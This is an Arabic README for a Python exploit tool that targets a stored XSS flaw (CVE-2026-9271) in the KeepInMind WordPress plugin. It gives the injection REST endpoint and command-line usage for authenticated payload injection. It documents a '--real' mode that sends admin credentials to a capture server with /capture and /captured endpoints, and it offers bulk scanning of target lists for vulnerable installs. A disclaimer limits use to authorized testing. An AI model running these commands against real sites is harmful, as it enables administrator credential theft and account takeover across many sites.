
أداة تقييم XSS مخزنة مصرح بها لـ CVE-2026-9271 في إضافة KeepInMind لووردبريس. تكتشف الإصدارات الضعيفة، وتحقق حقن حمولات اختبار آمنة، وتدعم المسح الجماعي مع تقارير SQLite.
أداة تقييم أمني معتمدة لـ CVE-2026-9271
المؤلف: Sudeepa Wanigarathna · الأداة: KIM-Guardian Pro v1.0
السكريبت الرئيسي: CVE-2026-9271.py
[!IMPORTANT] الاستخدام المصرح به فقط. هذه الأداة مخصصة للبحث الأمني والتعليم واختبار الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لتقييمها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.
CVE-2026-9271 هي مشكلة تخزين برمجيات عبر المواقع (XSS) في إضافة ووردبريس KeepInMind (ملاحظات لوحة التحكم). يؤدي عدم كفاية تنقية محتوى الملاحظات إلى السماح لمستخدم مصادق عليه بصلاحيات منخفضة (مساهم فما فوق) بتخزين HTML/JS يتم تنفيذه في متصفح المسؤول، مما قد يؤدي إلى اختراق جلسة المسؤول / الاستيلاء على الحساب.
KIM-Guardian Pro (CVE-2026-9271.py) هي أداة تقييم بلغة بايثون للمختبرين المصرح لهم من أجل:
reports/| السمة | القيمة |
|---|---|
| معرف CVE | CVE-2026-9271 |
| ناقل الهجوم | مصادق عليه (مساهم+) → XSS مخزّن → تأثير على المسؤول |
| التأثير | XSS في متصفح المسؤول؛ احتمال الاستيلاء على الحساب في التثبيتات الضعيفة |
| المنتج المتأثر | WordPress KeepInMind / KeepInMind Dashboard Notes |
| الإصدارات المتأثرة | ≤ 0.8.4.2 (تم التصحيح في 0.8.4.3+) |
| نوع الثغرة | تخزين برمجيات عبر المواقع (XSS) |
| CWE | CWE-79 (عدم تحييد المدخلات بشكل صحيح أثناء إنشاء صفحة الويب) |
| السطح | الدور |
|---|---|
/wp-json/keepinmind/v1/notes | REST API المستخدم لإنشاء/قراءة الملاحظات |
/wp-admin/ | لوحة تحكم المسؤول حيث قد يتم عرض الملاحظات المخزنة |
| مسار الإضافة | /wp-content/plugins/keepinmind-dashboard-notes/ |
--no-cleanup)| القدرة | الوصف |
|---|---|
| اكتشاف الإضافة | يتحقق من مسارات تثبيت KeepInMind وسلاسل الإصدارات |
| إصدار ووردبريس | يستخرج بيانات المولد/الإصدار عند توفرها |
| وضع الاختبار الآمن | علامة متراكبة افتراضية تثبت XSS دون التقاط بيانات الاعتماد |
| تقييم مصادق عليه | يسجل الدخول ببيانات اعتماد (مساهم+) للحقن الكامل عبر REST |
| تنظيف الحمولة | يزيل الملاحظات المحقونة بعد التقييم |
| الفحص الجماعي | فحص قائمة URLs متعدد الخيوط لوجود الإضافة + الإصدار الضعيف |
| سجل SQLite | يخزن التقييمات في kim_guardian.db |
| تقارير نصية | يكتب تقارير موقوتة تحت reports/ |
| خادم الالتقاط | مستمع HTTP محلي اختياري لتدريبات التقاط بيانات الاعتماد في المختبر |
| واجهة ويب | لوحة معلومات Flask اختيارية (وضع web) |
| القدرة | الوصف |
|---|---|
| تسجيل مفصّل | تصحيح أخطاء في ملف + وحدة التحكم تحت logs/ |
| دعم البروكسي | توجيه الحركة عبر Burp أو بروكسيات HTTP أخرى |
| مهلة قابلة للتكوين | مهلة لكل طلب (افتراضي 30 ثانية) |
| تجمع العمال | قابلية ضبط التزامن للفحص الجماعي |
pipcd /path/to/exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
# الإضافات الموصى بها المستخدمة بواسطة هذا السكريبت:
pip install colorama beautifulsoup4 requests flask
python3 CVE-2026-9271.py --help
requests>=2.31.0
beautifulsoup4>=4.12.0
colorama>=0.4.6
flask>=3.0.0 # اختياري — وضع الويب فقط
استبدل
https://lab.exampleبهدف مختبر أو مصرح به فقط.
# المساعدة / الأوضاع
python3 CVE-2026-9271.py --help
# تقييم آمن لهدف واحد (افتراضي: حمولة اختبار)
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' -v
# فحص جماعي للإصدار / الإضافة
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt
# عرض التقييمات الأخيرة من SQLite
python3 CVE-2026-9271.py db --list --limit 20
# خادم التقاط محلي (مختبر فقط)
python3 CVE-2026-9271.py capture --port 5000
# واجهة ويب اختيارية
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080
python3 CVE-2026-9271.py --help
python3 CVE-2026-9271.py assess --help
الوضع الافتراضي يستخدم تراكب اختبار غير ملتقط. قدّم بيانات اعتماد (مساهم+) للحقن عبر REST API.
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor \
-p 'password' \
-v
سير العمل:
-u / -p)--no-cleanup)reports/kim_assessment_*.txtpython3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' --no-cleanup
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
--proxy http://127.0.0.1:8080 \
--timeout 45 \
-v
يتطلب عنوان URL أساسي للمهاجم/الالتقاط و --real. يُفضّل إبقاء الالتقاط على localhost للمختبرات.
# الطرفية 1 — مستمع الالتقاط
python3 CVE-2026-9271.py capture --port 5000
# الطرفية 2 — تقييم مع نقطة نهاية الالتقاط
python3 CVE-2026-9271.py assess https://lab.example \
-u contributor -p 'password' \
-a http://127.0.0.1:5000 \
--real \
-v
واجهة الالتقاط (عند تشغيل الخادم):
| المسار | الغرض |
|---|---|
/ | صفحة حالة خادم الالتقاط |
/capture | نقطة نهاية POST لتقديم النماذج |
/captured | الإدخالات الملتقطة الحديثة (مراجعة مختبرية) |
# targets.txt — عنوان URL واحد لكل سطر
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt
# أو عناوين URL مفصولة بفواصل
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3